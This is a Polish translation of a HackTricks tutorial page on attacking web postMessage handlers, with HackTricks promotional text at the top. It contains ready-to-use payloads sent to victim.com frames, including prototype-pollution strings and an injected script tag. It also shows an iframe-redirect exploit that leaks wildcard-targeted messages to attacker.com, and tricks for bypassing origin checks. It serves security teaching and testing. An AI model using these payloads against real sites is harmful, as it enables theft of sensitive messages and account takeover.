.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Wulnerowalności PostMessage
Wulnerowalności PostMessage
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Wyślij PostMessage
PostMessage używa następującej funkcji do wysyłania wiadomości:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Zauważ, że targetOrigin może być '*' lub adresem URL, takim jak https://company.com.
W drugim scenariuszu wiadomość może być wysłana tylko do tej domeny (nawet jeśli pochodzenie obiektu okna jest inne).
Jeśli używany jest znak wieloznaczny, wiadomości mogą być wysyłane do dowolnej domeny i zostaną wysłane do pochodzenia obiektu Window.
Atakowanie iframe i znaku wieloznacznego w targetOrigin
Jak wyjaśniono w tym raporcie, jeśli znajdziesz stronę, która może być osadzona w iframe (brak ochrony X-Frame-Header
) i która wysyła wrażliwe wiadomości za pomocą postMessage z użyciem znaku wieloznacznego (*), możesz zmodyfikować pochodzenie iframe i wyciec wrażliwą wiadomość do domeny kontrolowanej przez ciebie.
Zauważ, że jeśli strona może być osadzona w iframe, ale targetOrigin jest ustawiony na adres URL, a nie na znak wieloznaczny, ten trik nie zadziała.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Wykorzystanie addEventListener
addEventListener
to funkcja używana przez JS do deklarowania funkcji, która oczekuje na postMessages
.
Będzie używany kod podobny do poniższego:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Zauważ w tym przypadku, jak pierwszą rzeczą, którą robi kod, jest sprawdzanie pochodzenia. Jest to niezwykle ważne, zwłaszcza jeśli strona ma wykonywać jakiekolwiek czynności wymagające uwagi z otrzymanymi informacjami (takie jak zmiana hasła). Jeśli nie sprawdzi pochodzenia, atakujący mogą zmusić ofiary do wysyłania dowolnych danych do tych punktów końcowych i zmieniać hasła ofiar (w tym przykładzie).
Wyliczanie
Aby znaleźć nasłuchiwacze zdarzeń na bieżącej stronie, można:
- Przeszukać kod JS w poszukiwaniu
window.addEventListener
i$(window).on
(wersja JQuery) - Wykonać w narzędziach deweloperskich konsoli:
getEventListeners(window)
- Przejdź do Elements --> Event Listeners w narzędziach deweloperskich przeglądarki
- Użyj rozszerzenia przeglądarki takiego jak https://github.com/benso-io/posta lub https://github.com/fransr/postMessage-tracker. Te rozszerzenia przeglądarki będą przechwytywać wszystkie wiadomości i pokazywać je.
Ominiecie sprawdzania pochodzenia
-
Atrybut
event.isTrusted
jest uważany za bezpieczny, ponieważ zwracaTrue
tylko dla zdarzeń generowanych przez prawdziwe działania użytkownika. Chociaż jest to trudne do obejścia, jeśli jest poprawnie zaimplementowane, jego znaczenie w sprawdzaniu bezpieczeństwa jest godne uwagi. -
Użycie metody
indexOf()
do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na obejście. Przykład ilustrujący tę podatność to:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Metoda
search()
zString.prototype.search()
jest przeznaczona do wyrażeń regularnych, a nie do ciągów znaków. Przekazanie czegokolwiek innego niż wyrażenie regularne prowadzi do niejawnej konwersji na wyrażenie regularne, co czyni metodę potencjalnie niebezpieczną. Dzieje się tak dlatego, że w wyrażeniach regularnych kropka (.) działa jako znak wieloznaczny, umożliwiając obejście walidacji za pomocą specjalnie skonstruowanych domen. Na przykład:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Funkcja
match()
, podobnie jaksearch()
, przetwarza wyrażenia regularne. Jeśli wyrażenie regularne jest nieprawidłowo skonstruowane, może być podatne na obejście. -
Funkcja
escapeHtml
ma na celu oczyszczenie danych wejściowych poprzez unikanie znaków specjalnych. Jednak nie tworzy nowego obiektu z oczyszczonymi danymi, ale nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. W szczególności, jeśli obiekt można manipulować w taki sposób, że jego kontrolowana właściwość nie uwzględniahasOwnProperty
,escapeHtml
nie będzie działać zgodnie z oczekiwaniami. Przykłady poniżej to ilustrują: -
Oczekiwane niepowodzenie:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Ominięcie oczyszczania:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
W kontekście tej podatności obiekt File
jest szczególnie podatny ze względu na swoją tylko do odczytu właściwość name
. Ta właściwość, gdy jest używana w szablonach, nie jest oczyszczana przez funkcję escapeHtml
, co prowadzi do potencjalnych zagrożeń dla bezpieczeństwa.
- Właściwość
document.domain
w JavaScript może być ustawiona przez skrypt w celu skrócenia domeny, co pozwala na bardziej elastyczną politykę tego samego pochodzenia w obrębie tej samej domeny nadrzędnej.
Ominięcie e.origin == window.origin
Podczas osadzania strony internetowej w ramce sandbox za pomocą %%%